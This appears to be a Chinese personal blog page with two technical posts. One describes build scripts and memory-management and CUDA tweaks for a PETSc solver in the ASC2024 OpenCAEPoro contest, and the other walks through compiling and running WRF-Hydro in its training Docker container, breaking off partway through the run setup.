Xloudmax

Note

0%

发表于 分类于

petsc_solver优化
编译petsc_solver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

# 启用错误捕捉，遇到错误立即退出
set -e

# 设置编译器为 Intel 的 mpiicc 和 mpiicpc
export CC=mpiicx
export CXX=mpiicpx
export PETSC_DIR=/home/shenyufei/OpenCAEPoro/OpenCAEPoro_ASC2024/petsc-3.19.3
export PETSC_ARCH=petsc_install
# 设置 LAPACK 的头文件和库路径
export CPATH=/home/shenyufei/OpenCAEPoro/OpenCAEPoro_ASC2024/lapack-3.11/CBLAS/include:/home/shenyufei/OpenCAEPoro/OpenCAEPoro_ASC2024/lapack-3.11/LAPACKE/include:${CPATH}
export LD_LIBRARY_PATH=/home/shenyufei/OpenCAEPoro/OpenCAEPoro_ASC2024/lapack-3.11:${LD_LIBRARY_PATH}

# 清理并创建新的构建目录
rm -rf build 
mkdir build
cd build

# 配置项目并生成构建文件
cmake ..

# 使用并行编译，利用所有可用核心
make -j$(nproc)

# 将生成的库移动到指定目录
mv libpetsc_solver.a ../lib/

cmakelists.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
cmake_minimum_required(VERSION 3.1)

set(CMAKE_CXX_STANDARD 11)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)

# 设置为 Release 模式，并启用优化选项
set(CMAKE_CONFIGURATION_TYPES "Release;Debug" CACHE STRING "Configs" FORCE)
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3 -march=native")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Wall -g")

if(NOT CMAKE_BUILD_TYPE)
    set(CMAKE_BUILD_TYPE "Release" CACHE STRING "Build type" FORCE)
endif()
message(STATUS "Build type: ${CMAKE_BUILD_TYPE}")

# 如果使用 Intel 编译器，请添加额外的优化标志
if (CMAKE_CXX_COMPILER_ID STREQUAL "IntelLLVM" OR CMAKE_CXX_COMPILER_ID STREQUAL "Intel")
    set(CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE} -O3 -xHost -qopt-report=5")
    set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3 -xHost -qopt-report=5")
endif()

# 设置 PETSc 库路径
set(PETSC_DIR "/home/shenyufei/OpenCAEPoro/OpenCAEPoro_ASC2024/petsc-3.19.3/")
set(PETSC_ARCH "petsc_install") 
set(PETSC_LIBRARIES "/home/shenyufei/OpenCAEPoro/OpenCAEPoro_ASC2024/petsc-3.19.3/petsc_install/lib/libpetsc.so")
set(PETSC_INCLUDE_DIRS "/home/shenyufei/OpenCAEPoro/OpenCAEPoro_ASC2024/petsc-3.19.3/include" "/home/shenyufei/OpenCAEPoro/OpenCAEPoro_ASC2024/petsc-3.19.3/petsc_install/include")

project(petsc_solver)

include_directories(${PROJECT_SOURCE_DIR}/src/)
include_directories(${PROJECT_SOURCE_DIR}/include/)
include_directories(${PETSC_INCLUDE_DIRS})

file(GLOB_RECURSE SRC_FILES ${PROJECT_SOURCE_DIR}/src/*.cpp)

add_library(petsc_solver STATIC ${SRC_FILES})
target_link_libraries(petsc_solver ${PETSC_LIBRARIES})

# 安装目标
set(CMAKE_INSTALL_LIBDIR "${PROJECT_SOURCE_DIR}/lib/")
install(TARGETS petsc_solver
        LIBRARY DESTINATION ${CMAKE_INSTALL_LIBDIR}
        ARCHIVE DESTINATION ${CMAKE_INSTALL_LIBDIR})

优化一：

export CC=mpiicx
export CXX=mpiicpx
显示指定了编译器为mpiicx和mpiicpx

优化二：

1
2
3
4
# 设置为 Release 模式，并启用优化选项
set(CMAKE_CONFIGURATION_TYPES "Release;Debug" CACHE STRING "Configs" FORCE)
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3 -march=native")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -Wall -g")

优化三：

使用PetscMalloc1和PetscFree等petsc自带的方法管理内存，确保与 PETSc 的内存管理机制兼容。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
start = MPI_Wtime(); // 开始记录解耦部分的时间
// 调用 decoup 函数进行解耦操作，处理稀疏矩阵的值，依据不同的解耦类型对矩阵进行处理。
// 其中 val 表示矩阵的值，rhs 表示右手边向量，rpt 和 cpt 分别表示行和列的指针，
// nb 表示块大小，nBlockRows 是当前处理的块行数，DecoupType 表示解耦的类型，is_thermal 表示是否是热问题。
decoup(val, rhs, rpt, cpt, nb, nBlockRows, DecoupType, is_thermal);

//----------------------------------------------------------------------
// Initializing MAT and VEC
// 初始化矩阵 A 和向量 x, b

Vec x, b; /* x 表示近似解，b 表示右手边向量 */
Mat A;    /* A 表示线性系统矩阵 */
KSP ksp;  /* KSP 表示线性求解器上下文 */
PC pc;    /* PC 表示预处理器上下文 */
PetscInt Ii, iters; // PETSc 的整型变量，用于矩阵行数和迭代次数
PetscErrorCode ierr; // PETSc 的错误代码

// 计算对角块和非对角块的元素数
for (int i = 0; i < nBlockRows; i++) {
    nDCount[i] = 0; // 初始化对角块元素数为 0
    // 遍历每一行，统计每一行中属于对角块的非零元素个数
    for (int j = rpt[i]; j < rpt[i + 1]; j++) {
        if (cpt[j] >= Istart && cpt[j] <= Iend) {
            nDCount[i]++;
        }
    }
}

// 计算每一行的非对角块的元素个数
for (int i = 0; i < nBlockRows; i++) {
    nNDCount[i] = rpt[i + 1] - rpt[i] - nDCount[i]; // 非对角块元素数 = 总元素数 - 对角块元素数
}

// 创建块压缩稀疏矩阵（Block AIJ 格式，使用并行通信 PETSC_COMM_WORLD）
ierr = MatCreateBAIJ(PETSC_COMM_WORLD, blockSize, rowWidth, rowWidth, matrixDim, matrixDim, 0, nDCount, 0, nNDCount, &A);
CHKERRQ(ierr); // 检查是否有错误

// 从命令行选项设置矩阵，并对矩阵进行初始化
ierr = MatSetFromOptions(A); // 从选项中读取设置
CHKERRQ(ierr);
ierr = MatSetUp(A); // 初始化矩阵，分配必要的内存
CHKERRQ(ierr);

// 将值填入矩阵 A
double *valpt = val; // 指向矩阵的值
int *globalx = (int *)malloc(blockSize * sizeof(int)); // 用于存储全局 x 方向的索引
int *globaly = (int *)malloc(blockSize * sizeof(int)); // 用于存储全局 y 方向的索引

// 遍历每一行的块并设置矩阵的值
for (Ii = 0; Ii < nBlockRows; Ii++) {
    for (i = 0; i < blockSize; i++) {
        globalx[i] = (Ii + Istart) * blockSize + i; // 计算每一行在全局矩阵中的索引
    }

    // 遍历每一列，插入矩阵值
    for (int i = rpt[Ii]; i < rpt[Ii + 1]; i++) {
        for (int j = 0; j < blockSize; j++) {
            globaly[j] = cpt[i] * blockSize + j; // 计算全局列索引
        }
        ierr = MatSetValues(A, blockSize, globalx, blockSize, globaly, valpt, INSERT_VALUES); // 设置矩阵值
        CHKERRQ(ierr); // 检查错误
        valpt += blockSize * blockSize; // 移动指针以处理下一块
    }
}

// 完成矩阵的装配，标志装配的开始和结束
ierr = MatAssemblyBegin(A, MAT_FINAL_ASSEMBLY);
CHKERRQ(ierr);
ierr = MatAssemblyEnd(A, MAT_FINAL_ASSEMBLY);
CHKERRQ(ierr);

// 创建右手边向量 b，并设置其大小
ierr = VecCreate(PETSC_COMM_WORLD, &b);
CHKERRQ(ierr);
ierr = VecSetSizes(b, rowWidth, matrixDim); // 设置 b 的大小
CHKERRQ(ierr);
ierr = VecSetFromOptions(b); // 从命令行选项设置向量
CHKERRQ(ierr);
ierr = VecDuplicate(b, &x); // 创建与 b 相同大小的解向量 x
CHKERRQ(ierr);

// 设置 b 向量的值
int *bIndex = (int *)malloc(rowWidth * sizeof(int)); // 动态分配数组存储索引
for (i = 0; i < rowWidth; i++) {
    bIndex[i] = Istart * blockSize + i; // 计算索引
}
VecSetValues(b, rowWidth, bIndex, rhs, INSERT_VALUES); // 设置 b 向量的值
VecAssemblyBegin(b); // 开始装配 b 向量
VecAssemblyEnd(b);   // 结束装配 b 向量

// 创建用于进一步计算的 dBSR 矩阵对象
dBSRmat_ BMat; // 定义一个 dBSRmat 结构，用于存储矩阵信息
BMat.ROW = nBlockRows; // 设置矩阵行数
BMat.COL = nrow_global; // 设置矩阵列数
BMat.NNZ = nnz; // 设置非零元素个数
BMat.nb = nb; // 设置块大小
BMat.IA = rpt; // 设置行指针
BMat.JA = cpt; // 设置列指针
BMat.val = val; // 设置矩阵值

Mat App; // App 用于存储子矩阵
// Mat Ass; // Ass 是另一个子矩阵，但当前没有使用

finish = MPI_Wtime(); // 结束时间
Matrix_Conversion_Time += finish - start; //! 记录矩阵转换的时间（全局变量）

优化后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
////////////////////////////////////////////////////////////////////
// Modifiable Area  |
// Modifiable Area  v
/////////////////////////////////////////////////////////////////////
start = MPI_Wtime();
decoup(val, rhs, rpt, cpt, nb, nBlockRows, DecoupType, is_thermal);

//----------------------------------------------------------------------
// Initializing MAT and VEC

Vec x, b; /* approx solution, RHS, exact solution */
Mat A;    /* linear system matrix */
KSP ksp;  /* linear solver context */
PC pc;
// PetscReal      norm;     /* norm of solution error */
PetscInt Ii, iters;
PetscErrorCode ierr;

// 计算 nDCount 和 nNDCount
for (int i = 0; i < nBlockRows; i++)
{
    nDCount[i] = 0;
    for (int j = rpt[i]; j < rpt[i + 1]; j++)
    {
        if (cpt[j] >= Istart && cpt[j] <= Iend)
        {
            nDCount[i]++;
        }
    }
}

for (int i = 0; i < nBlockRows; i++)
{
    nNDCount[i] = rpt[i + 1] - rpt[i] - nDCount[i];
}

// 创建矩阵 A
ierr = MatCreateBAIJ(PETSC_COMM_WORLD, blockSize, rowWidth, rowWidth, matrixDim, matrixDim, 0, nDCount, 0, nNDCount, &A);
CHKERRQ(ierr);
ierr = MatSetFromOptions(A);
CHKERRQ(ierr);
ierr = MatSetUp(A);
CHKERRQ(ierr);

// 使用 PETSc 进行内存分配
double *valpt = val;
int *globalx;
ierr = PetscMalloc1(blockSize, &globalx);
CHKERRQ(ierr);

int *globaly;
ierr = PetscMalloc1(blockSize, &globaly);
CHKERRQ(ierr);

for (Ii = 0; Ii < nBlockRows; Ii++)
{
    // 预计算 rowBase 以减少重复计算
    int rowBase = (Ii + Istart) * blockSize;

    // 填充 globalx
    for (i = 0; i < blockSize; i++)
    {
        globalx[i] = rowBase + i;
    }

    // 填充 globaly 和设置矩阵值
    for (int i = rpt[Ii]; i < rpt[Ii + 1]; i++)
    {
        for (int j = 0; j < blockSize; j++)
        {
            globaly[j] = cpt[i] * blockSize + j;
        }
        ierr = MatSetValues(A, blockSize, globalx, blockSize, globaly, valpt, INSERT_VALUES);
        CHKERRQ(ierr);
        valpt += blockSize * blockSize; // 更新 valpt
    }
}

// 矩阵组装
ierr = MatAssemblyBegin(A, MAT_FINAL_ASSEMBLY);
CHKERRQ(ierr);
ierr = MatAssemblyEnd(A, MAT_FINAL_ASSEMBLY);
CHKERRQ(ierr);

// 创建和设置向量 b
ierr = VecCreate(PETSC_COMM_WORLD, &b);
CHKERRQ(ierr);
ierr = VecSetSizes(b, rowWidth, matrixDim);
CHKERRQ(ierr);
ierr = VecSetFromOptions(b);
CHKERRQ(ierr);
ierr = VecDuplicate(b, &x);
CHKERRQ(ierr);

// 使用 PETSc 进行内存分配
int *bIndex;
ierr = PetscMalloc1(rowWidth, &bIndex);
CHKERRQ(ierr);

// 填充 bIndex
for (i = 0; i < rowWidth; i++)
{
    bIndex[i] = Istart * blockSize + i;
}

// 设置向量 b 的值
VecSetValues(b, rowWidth, bIndex, rhs, INSERT_VALUES);
VecAssemblyBegin(b);
VecAssemblyEnd(b);

// 定义和初始化 dBSRmat_ 结构体
dBSRmat_ BMat;
BMat.ROW = nBlockRows;
BMat.COL = nrow_global;
BMat.NNZ = nnz;
BMat.nb = nb;
BMat.IA = rpt;
BMat.JA = cpt;
BMat.val = val;
Mat App;
// 释放内存
ierr = PetscFree(globalx);
CHKERRQ(ierr);
ierr = PetscFree(globaly);
CHKERRQ(ierr);
ierr = PetscFree(bIndex);
CHKERRQ(ierr);

finish = MPI_Wtime();
Matrix_Conversion_Time += finish - start; //! matrix conversion time (Global variables)
    
////////////////////////////////////////////////////////////////////
// Modifiable Area  ^
// Modifiable Area  |
/////////////////////////////////////////////////////////////////////

  1. 移除了重复内存分配的部分：

    • 在原代码中，对于 globalx 和 globaly 这两个指针的内存分配是通过 malloc 实现的，而在优化后代码中，这些内存是使用 PetscMalloc1 分配的，这样可以更好地整合 PETSc 自己的内存管理，提高内存分配和释放的性能。

    • 原代码中使用了 int *globalx = (int *)malloc(blockSize * sizeof(int)) 和 int *globaly = (int *)malloc(blockSize * sizeof(int))，而在第二段代码中替换为 ierr = PetscMalloc1(blockSize, &globalx) 和 ierr = PetscMalloc1(blockSize, &globaly)，并且这些内存通过 PetscFree 进行释放，确保与 PETSc 的内存管理机制兼容。

  2. 重复计算的减少：

    • 在优化后的代码中，循环中预计算了 rowBase 变量，这减少了在每次循环中重复进行的乘法运算：

      1
      int rowBase = (Ii + Istart) * blockSize;
      • 这一优化避免了在循环内多次计算 rowBase，提高了性能，特别是在循环次数较多时。

  3. 代码的组织更加结构化：

    • 优化后的代码将 globalx 和 globaly 的赋值与矩阵 A 的值的填充更加结构化，使代码逻辑清晰，更易于维护和理解。

  4. 内存释放管理的改进：

    • 优化后的代码使用 PetscFree 函数显式释放内存，这样可以与 PETSc 的内存管理体系保持一致，减少内存泄漏的风险。

    • 例如：

      1
      2
      3
      4
      5
      6
      ierr = PetscFree(globalx);
      CHKERRQ(ierr);
      ierr = PetscFree(globaly);
      CHKERRQ(ierr);
      ierr = PetscFree(bIndex);
      CHKERRQ(ierr);

      而在原代码中则没有对 globalx 和 globaly 进行显式的释放。

  5. 代码的错误检查：

    • 优化后的代码在执行内存分配、矩阵和向量创建等操作后，通过 CHKERRQ(ierr) 检查错误，提高了代码的鲁棒性，使得在出现错误时更容易定位问题。

可以继续尝试的可能

矩阵和向量的重用：对于多次重复使用的矩阵 A 和向量 b，可以考虑将它们保留并复用，而不是每次都重新创建，这样可以减少初始化的开销。

并行化内存初始化：在对 nDCount 和 nNDCount 进行初始化时，可以考虑并行化这部分代码，利用 OpenMP 或 MPI 实现并行加速，从而加快初始化速度。

进一步的内存对齐和缓存优化：考虑到 globalx 和 globaly 数组可以频繁访问，可以使用内存对齐来优化它们在 CPU 缓存中的使用，利用指令集提供的对齐内存分配，例如使用 _mm_malloc()。

批量设置矩阵值：使用 PETSc 的批量操作 MatSetValuesBlocked 来设置矩阵值，可以减少函数调用次数，提高整体性能。

同时PETSc中集成了与GPU加速线性求解器的接口

在编译PETSc时，使用 ./configure --with-cuda=1 --with-cudac=/usr/local/cuda/bin/nvcc，这样可以让PETSc支持CUDA，并且与GPU进行集成。

代码修改：

  • 在PETSc代码中，将向量类型设置为CUDA：

    1
    2
    cpp复制代码VecCreate(PETSC_COMM_WORLD, &x);
    VecSetType(x, VECCUDA);

  • 设置矩阵类型为CUDA：

    1
    2
    cpp复制代码MatCreate(PETSC_COMM_WORLD, &A);
    MatSetType(A, MATAIJCUDA);

  • 这些修改将确保PETSc将矩阵和向量的操作放在GPU上执行。

预处理器和求解器设置：

  • 设置求解器使用GPU加速：

    1
    2
    3
    4
    5
    bash


    复制代码
    -pc_type hypre -pc_hypre_type boomeramg -pc_hypre_boomeramg_relax_type_all symmetric-SOR/Jacobi -pc_hypre_boomeramg_interp_type ext+i -ksp_type gmres

  • 这些选项会使用Hypre的BoomerAMG预处理器，并在GPU上进行加速。

开启cuda加速

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
////////////////////////////////////////////////////////////////////
// Modifiable Area  |
// Modifiable Area  v
/////////////////////////////////////////////////////////////////////
start = MPI_Wtime();
decoup(val, rhs, rpt, cpt, nb, nBlockRows, DecoupType, is_thermal);

//----------------------------------------------------------------------
// Initializing MAT and VEC

Vec x, b; /* approx solution, RHS, exact solution */
Mat A;    /* linear system matrix */
KSP ksp;  /* linear solver context */
PC pc;
// PetscReal      norm;     /* norm of solution error */
PetscInt Ii, iters;
PetscErrorCode ierr;

// 计算 nDCount 和 nNDCount
for (int i = 0; i < nBlockRows; i++)
{
    nDCount[i] = 0;
    for (int j = rpt[i]; j < rpt[i + 1]; j++)
    {
        if (cpt[j] >= Istart && cpt[j] <= Iend)
        {
            nDCount[i]++;
        }
    }
}

for (int i = 0; i < nBlockRows; i++)
{
    nNDCount[i] = rpt[i + 1] - rpt[i] - nDCount[i];
}

// 创建矩阵 A，并启用 GPU 支持
ierr = MatCreateBAIJ(PETSC_COMM_WORLD, blockSize, rowWidth, rowWidth, matrixDim, matrixDim, 0, nDCount, 0, nNDCount, &A);
CHKERRQ(ierr);

// 使用 GPU 进行计算，设置矩阵类型为 cuSPARSE
ierr = MatSetType(A, MATAIJCUSPARSE); CHKERRQ(ierr);
ierr = MatSetOption(A, MAT_USE_GPU, PETSC_TRUE); CHKERRQ(ierr);

ierr = MatSetFromOptions(A); CHKERRQ(ierr);
ierr = MatSetUp(A); CHKERRQ(ierr);

// 使用 PETSc 进行内存分配
double *valpt = val;
int *globalx;
ierr = PetscMalloc1(blockSize, &globalx);
CHKERRQ(ierr);

int *globaly;
ierr = PetscMalloc1(blockSize, &globaly);
CHKERRQ(ierr);

for (Ii = 0; Ii < nBlockRows; Ii++)
{
    // 预计算 rowBase 以减少重复计算
    int rowBase = (Ii + Istart) * blockSize;

    // 填充 globalx
    for (int i = 0; i < blockSize; i++)
    {
        globalx[i] = rowBase + i;
    }

    // 填充 globaly 和设置矩阵值
    for (int i = rpt[Ii]; i < rpt[Ii + 1]; i++)
    {
        for (int j = 0; j < blockSize; j++)
        {
            globaly[j] = cpt[i] * blockSize + j;
        }
        ierr = MatSetValues(A, blockSize, globalx, blockSize, globaly, valpt, INSERT_VALUES);
        CHKERRQ(ierr);
        valpt += blockSize * blockSize; // 更新 valpt
    }
}

// 矩阵装配
ierr = MatAssemblyBegin(A, MAT_FINAL_ASSEMBLY); CHKERRQ(ierr);
ierr = MatAssemblyEnd(A, MAT_FINAL_ASSEMBLY); CHKERRQ(ierr);

// 创建和设置向量 b，启用 GPU 支持
ierr = VecCreate(PETSC_COMM_WORLD, &b); CHKERRQ(ierr);
ierr = VecSetSizes(b, rowWidth, matrixDim); CHKERRQ(ierr);
ierr = VecSetType(b, VECCUDA); CHKERRQ(ierr); // 设置向量类型为 CUDA
ierr = VecSetFromOptions(b); CHKERRQ(ierr);
ierr = VecDuplicate(b, &x); CHKERRQ(ierr);
ierr = VecSetType(x, VECCUDA); CHKERRQ(ierr); // 设置 x 的类型为 CUDA

// 使用 PETSc 进行内存分配
int *bIndex;
ierr = PetscMalloc1(rowWidth, &bIndex);
CHKERRQ(ierr);

// 填充 bIndex
for (int i = 0; i < rowWidth; i++)
{
    bIndex[i] = Istart * blockSize + i;
}

// 设置向量 b 的值
VecSetValues(b, rowWidth, bIndex, rhs, INSERT_VALUES);
VecAssemblyBegin(b);
VecAssemblyEnd(b);

// 定义和初始化 dBSRmat_ 结构体
dBSRmat_ BMat;
BMat.ROW = nBlockRows;
BMat.COL = nrow_global;
BMat.NNZ = nnz;
BMat.nb = nb;
BMat.IA = rpt;
BMat.JA = cpt;
BMat.val = val;
Mat App;

// 释放内存
ierr = PetscFree(globalx);
CHKERRQ(ierr);
ierr = PetscFree(globaly);
CHKERRQ(ierr);
ierr = PetscFree(bIndex);
CHKERRQ(ierr);

finish = MPI_Wtime();
Matrix_Conversion_Time += finish - start; //! matrix conversion time (Global variables)

////////////////////////////////////////////////////////////////////
// Modifiable Area  ^
// Modifiable Area  |
/////////////////////////////////////////////////////////////////////

在查阅PETSc文档后，确定了Mat, Vector, Ksp等PETSc变量可以被重复利用的前提下，可以将其改变为静态类型变量，得到进一步的性能提升，但是可惜的是并没有观察到有效的变化，估计是编译器做了一些神奇的优化掩盖掉了。（o3魅力时刻了说是）

发表于 分类于

WRF-Hydro 训练容器

WRF-Hydro 训练容器是专门为 WRF-Hydro 模型系统的培训设计的 Docker 容器，它可以在本地运行。该容器包含以下内容：

  1. Ubuntu 基础镜像：这是运行环境的基础操作系统。
  2. WRF-Hydro、WPS 和 WRF 所需的所有系统库：这些库是运行这些软件所必需的。
  3. WPS 安装：包含了 WRF Preprocessing System (WPS) 的安装。
  4. WRF-Hydro 模型代码和各种实用工具：提供了 WRF-Hydro 模型的代码和相关工具。
  5. 不同配置下运行模型的示例案例：提供了可以使用的示例数据和配置文件。
  6. 文本编辑器 - Vim 和 Nano：方便用户在容器中编辑文本文件。

要求

推荐的最简单的方式是通过 wrfhydro/training Docker 容器运行，因为该容器预装了所有必要的软件依赖和数据。

  • 需要 Docker 版本 >= v.17.12

运行步骤

  1. 确保已安装 Docker。

    注意： 默认的 Docker 配置需要至少 2 个 CPU 来运行此训练容器。

  2. 拉取 wrfhydro/training Docker 容器

  3. 启动培训 Docker 容器

    • 在终端会话中执行以下命令，启动培训 Docker 容器：

      1
      docker run --name wrf-hydro-training -p 8888:8888 -it wrfhydro/training

    • 其中 -p 8888:8888 是将主机的 8888 端口映射到容器的 8888 端口。如果主机上已经有进程在使用 8888 端口，需要更改此端口号。

    容器启动后，将执行以下操作：

    1. 拉取对应主要版本的模型代码。
    2. 拉取与模型代码版本兼容的示例测试案例。
    3. 拉取对应主要版本的培训课程。
    4. 启动 JupyterLab 服务器并将地址回显到终端。

  4. 打开 JupyterLab

    • 所有的培训课程内容都位于 ~/wrf-hydro-training/lessons 文件夹内。这些课程是交互式的，可以实时执行代码命令。有关 Jupyter notebook 的更多信息，请访问 Jupyter 项目页面。

JupyterLab

这里测试用例拉取失败了，可能跟我家垃圾网有关，在 Github 下载测试用例：

Releases · NCAR/wrf_hydro_nwm_public (github.com)

Download Example Case

这里我选择了 croton_NY_training_example_v5.3.tar.gz

在 Docker 中查看容器：

Docker Container

打开 Jupyter：

Jupyter

训练容器包含一套详细的教程，一步一步往下设置。

第一步：编译

Step 1. 列出 trunk/NDHMS 目录的内容

1
2
3
4
5
6
7
8
9
ls ~/wrf-hydro-training/wrf_hydro_nwm_public/trunk/NDHMS
CPL/              README.build.txt            deprecated/
Data_Rec/         Rapid_routing/              hrldas_namelists.json
Debug_Utilities/  Routing/                    hydro_namelists.json
Doc/              arc/                        nudging/
HYDRO_drv/        compile_offline_Noah.sh*    template/
Land_models/      compile_offline_NoahMP.sh*  utils/
MPP/              compile_options.json        wrf_hydro_config*
Makefile          configure*

Step 2. 配置编译环境

Table 1. Descriptions of the contents of each source code sub-directory.

File/directory name Description
arc/ Contains macro files, which specify the compile configurations, compiler options, links to netCDF libraries, etc.
cmake_modules/ Utilities for the experimental CMake build
CPL/Noah_cpl/ WRF-Hydro coupling interface for coupling WRF-Hydro components with the standalone (offline) Noah land surface model data assimilation and forecasting system
CPL/NoahMP_cpl/ WRF-Hydro coupling interface for coupling WRF-Hydro components with the standalone (offline) Noah-MP land surface model data assimilation and forecasting system
CPL/WRF_cpl/ WRF-Hydro coupling interface for coupling WRF-Hydro components with the WRF system
CPL/CLM_cpl/, CPL/LIS_cpl/, CPL/NUOPC_cpl/ Work in progress for ongoing coupling work
Data_Rec/ Contains some data declaration modules
Debug_Utilities/ Debugging utilities
deprecated/ Files not currently in use
Doc/ Pointer to location of full documentation
HYDRO_drv/ High-level WRF-Hydro component driver
IO/ I/O interfaces
Land_models/Noah/ Noah land surface model driver for standalone applications
Land_models/NoahMP/ Noah-MP land surface model driver for standalone applications
MPP/ MPI parallelization routines and functions
nudging/ Nudging data assimilation routines and functions
OrchestratorLayer/ Modules for namelist reads and eventually high level model orchestration
Rapid_routing/ Contains code for the RAPID routing model coupling (unsupported and out of date)
Routing/ Modules and drivers related to specific routing processes in WRF-Hydro
template/ Example namelist files for Noah, Noah-MP, and the WRF-Hydro modules (HYDRO) and example parameter tables for HYDRO. Note: Parameter tables for Noah and Noah-MP are stored within the Land_models directory. A sample bash script (setEnvar.sh) that could be passed to the compile script listing compile time options for WRF-Hydro is also located here.
utils/ Generic utilities used throughout the code
compile_offline_Noah.sh Script for compiling WRF-Hydro standalone version with the Noah land surface model
compile_offline_NoahMP.sh Script for compiling WRF-Hydro standalone version with the Noah-MP land surface model
configure Script to configure the WRF-Hydro compilation
Makefile Top-level makefile for building and cleaning WRF-Hydro code
README.build.txt WRF-Hydro build instructions for the standalone model
wrf_hydro_config Configure script for coupled WRF-Hydro configuration
*.json JSON files used for testing

如表1所述，configure 脚本用于配置编译环境。执行该脚本时，会提示选择编译器。在培训环境中，我们使用 GNU Fortran 编译器，因此选择选项 2（GNU / gfortran）。

1
2
cd ~/wrf-hydro-training/wrf_hydro_nwm_public/trunk/NDHMS/
./configure 2

输出结果：

1
2
/home/docker/wrf-hydro-training/wrf_hydro_nwm_public/trunk/NDHMS
Configured: gfort

Step 3. 复制模板环境变量文件

将模板文件 template/setEnvar.sh 复制为 setEnvar.sh：

1
2
3
cp template/setEnvar

.sh setEnvar.sh

Step 4. 设置编译时选项

编辑 ~/wrf-hydro-training/wrf_hydro_nwm_public/trunk/NDHMS/setEnvar.sh 文件，设置编译脚本所需的环境变量。setEnvar.sh 脚本应如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash

# WRF-Hydro compile time options

# This is a WRF environment variable. Always set to 1=On for compiling WRF-Hydro.
export WRF_HYDRO=1

# Enhanced diagnostic output for debugging: 0=Off, 1=On.
export HYDRO_D=1

# Spatially distributed parameters for NoahMP: 0=Off, 1=On.
export SPATIAL_SOIL=1

# RAPID model: 0=Off, 1=On.
export WRF_HYDRO_RAPID=0

# WCOSS file units: 0=Off, 1=On.
export NCEP_WCOSS=0

# NWM output metadata: 0=Off, 1=On.
export NWM_META=0

# Streamflow nudging: 0=Off, 1=On.
export WRF_HYDRO_NUDGING=0

Step 5. 以独立模式编译 WRF-Hydro

我们支持使用 Noah 或 Noah-MP 陆面模式编译独立的 WRF-Hydro 模型。为此，我们将使用 compile_offline_NoahMP.sh 脚本。执行以下命令来编译模型，并将输出记录到日志文件 compile.log 中：

1
./compile_offline_NoahMP.sh setEnvar.sh | tee compile.log

Step 6. 检查编译日志以确保编译成功

查看编译日志的最后几行，确保显示 “Make was successful” 和编译时使用的环境变量。

1
tail -13 compile.log

输出结果应包括：

1
2
3
4
5
6
7
8
9
10
11
12
*****************************************************************
Make was successful

*****************************************************************
The environment variables used in the compile:
HYDRO_D=1
NCEP_WCOSS=0
NETCDF=/usr/local
SPATIAL_SOIL=1
WRF_HYDRO=1
WRF_HYDRO_NUDGING=0
WRF_HYDRO_RAPID=0

编译成功

Lesson 2 - 运行 WRF-Hydro

在这个课程中，我们将学习如何使用准备好的域来构建和运行 WRF-Hydro 模拟。

构建模拟

Step 1. 创建模拟目录

我们将为模拟创建一个目录：

1
2
mkdir -p ~/wrf-hydro-training/output/lesson2/run_gridded_default
cd ~/wrf-hydro-training/output/lesson2/run_gridded_default

创建模拟目录

Step 2. 复制模型运行文件

从 ~/wrf-hydro-training/wrf_hydro_nwm_public/trunk/NDHMS/Run 目录复制所需的模型运行文件。这些文件较小，因此我们将实际复制而不是创建符号链接。另外，由于用户可能希望编辑这些文件，因此不建议使用符号链接。

1
2
cp ~/wrf-hydro-training/wrf_hydro_nwm_public/trunk/NDHMS/Run/*.TBL .
cp ~/wrf-hydro-training/wrf_hydro_nwm_public/trunk/NDHMS/Run/wrf_hydro.exe .

查看目录内容：

1
ls

CHANPARM.TBL GENPARM.TBL HYDRO.TBL MPTABLE.TBL SOILPARM.TBL wrf_hydro.exe

模型运行文件

Step 3. 创建 DOMAIN 文件的符号链接

从 ~/wrf-hydro-training/example_case/Gridded/DOMAIN 目录创建所需域文件的符号链接。这些文件可能很大，因此我们使用符号链接而不是复制实际文件。

1
2
3
ln -sf ~/wrf-hydro-training/example_case/FORCING .
ln -sf ~/wrf-hydro-training/example_case/Gridded/DOMAIN .
ln -sf ~/wrf-hydro-training/example_case/Gridded/RESTART .

查看目录内容：

1
ls

创建 DOMAIN 文件的符号链接

Step 4. 复制 namelist 文件

